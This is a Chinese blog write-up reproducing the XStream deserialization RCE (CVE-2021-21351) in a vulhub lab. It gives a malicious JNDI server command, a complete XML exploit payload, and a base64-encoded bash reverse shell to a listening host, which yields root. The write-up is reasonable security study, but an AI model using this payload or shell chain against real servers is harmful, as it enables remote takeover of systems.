XStream 反序列化命令执行漏洞(CVE-2021-21351)


XStream 反序列化命令执行漏洞(CVE-2021-21351)

环境搭建

使用 vulhub 提供的环境,用 docker-compose 一键部署。

┌──(justice㉿kali)-[~/tools/vulhub/xstream/CVE-2021-21351]
└─$ sudo docker-compose up -d 
Creating network "cve-2021-21351_default" with the default driver
Creating cve-2021-21351_web_1 ... done

简介

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用javax.naming.ldap.Rdn$RdnEntryjavax.sql.rowset.BaseRowSet构造JNDI注入,进而执行任意命令。

漏洞复现

由于目标环境Java版本高于8u191,故我们需要借助这篇文章中给出的方法,使用org.apache.naming.factory.BeanFactory加EL表达式注入的方式来执行任意命令。

使用这个工具启动恶意JNDI服务器:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A 192.168.1.138

这里因为我们的环境是高于那个版本的,所以我们直接选择画红圈的命令。

使用上图中基于SpringBoot利用链的RMI地址作为<dataSource>的值,构造POC如下:

POST / HTTP/1.1
Host: 192.168.1.138:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/xml
Content-Length: 3184

<sorted-set>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XRTreeFrag'>
            <m__DTMXRTreeFrag>
                <m__dtm class='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM'>
                    <m__size>-10086</m__size>
                    <m__mgrDefault>
                        <__overrideDefaultParser>false</__overrideDefaultParser>
                        <m__incremental>false</m__incremental>
                        <m__source__location>false</m__source__location>
                        <m__dtms>
                            <null/>
                        </m__dtms>
                        <m__defaultHandler/>
                    </m__mgrDefault>
                    <m__shouldStripWS>false</m__shouldStripWS>
                    <m__indexing>false</m__indexing>
                    <m__incrementalSAXSource class='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces'>
                        <fPullParserConfig class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
                            <javax.sql.rowset.BaseRowSet>
                                <default>
                                    <concurrency>1008</concurrency>
                                    <escapeProcessing>true</escapeProcessing>
                                    <fetchDir>1000</fetchDir>
                                    <fetchSize>0</fetchSize>
                                    <isolation>2</isolation>
                                    <maxFieldSize>0</maxFieldSize>
                                    <maxRows>0</maxRows>
                                    <queryTimeout>0</queryTimeout>
                                    <readOnly>true</readOnly>
                                    <rowSetType>1004</rowSetType>
                                    <showDeleted>false</showDeleted>
                                    <dataSource>rmi://192.168.1.138:1099/b9josv</dataSource>
                                    <listeners/>
                                    <params/>
                                </default>
                            </javax.sql.rowset.BaseRowSet>
                            <com.sun.rowset.JdbcRowSetImpl>
                                <default/>
                            </com.sun.rowset.JdbcRowSetImpl>
                        </fPullParserConfig>
                        <fConfigSetInput>
                            <class>com.sun.rowset.JdbcRowSetImpl</class>
                            <name>setAutoCommit</name>
                            <parameter-types>
                                <class>boolean</class>
                            </parameter-types>
                        </fConfigSetInput>
                        <fConfigParse reference='../fConfigSetInput'/>
                        <fParseInProgress>false</fParseInProgress>
                    </m__incrementalSAXSource>
                    <m__walker>
                        <nextIsRaw>false</nextIsRaw>
                    </m__walker>
                    <m__endDocumentOccured>false</m__endDocumentOccured>
                    <m__idAttributes/>
                    <m__textPendingStart>-1</m__textPendingStart>
                    <m__useSourceLocationProperty>false</m__useSourceLocationProperty>
                    <m__pastFirstElement>false</m__pastFirstElement>
                </m__dtm>
                <m__dtmIdentity>1</m__dtmIdentity>
            </m__DTMXRTreeFrag>
            <m__dtmRoot>1</m__dtmRoot>
            <m__allowRelease>false</m__allowRelease>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
        <type>ysomap</type>
        <value class='com.sun.org.apache.xpath.internal.objects.XString'>
            <m__obj class='string'>test</m__obj>
        </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

发送数据包

此时进入容器内部查看是否创建成功。

反弹shell

上述的漏洞其实就算是验证成功了,现在就是利用阶段了,这一部分我尝试了各种反弹shell 的手法,最终找到了一种编码方式如下:

bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEzOC85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}

其他的直接的方式是不行的,经过测试我只找到了这一种。下面就是按照和上面一样的流程,只不过是将 touch /tmp/success 换成了上述命令。

然后在本地设置好监听:

nc -lvnp 9001

发包之后成功反弹shell 且是root 身份。


文章作者: Justice
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Justice !
  目录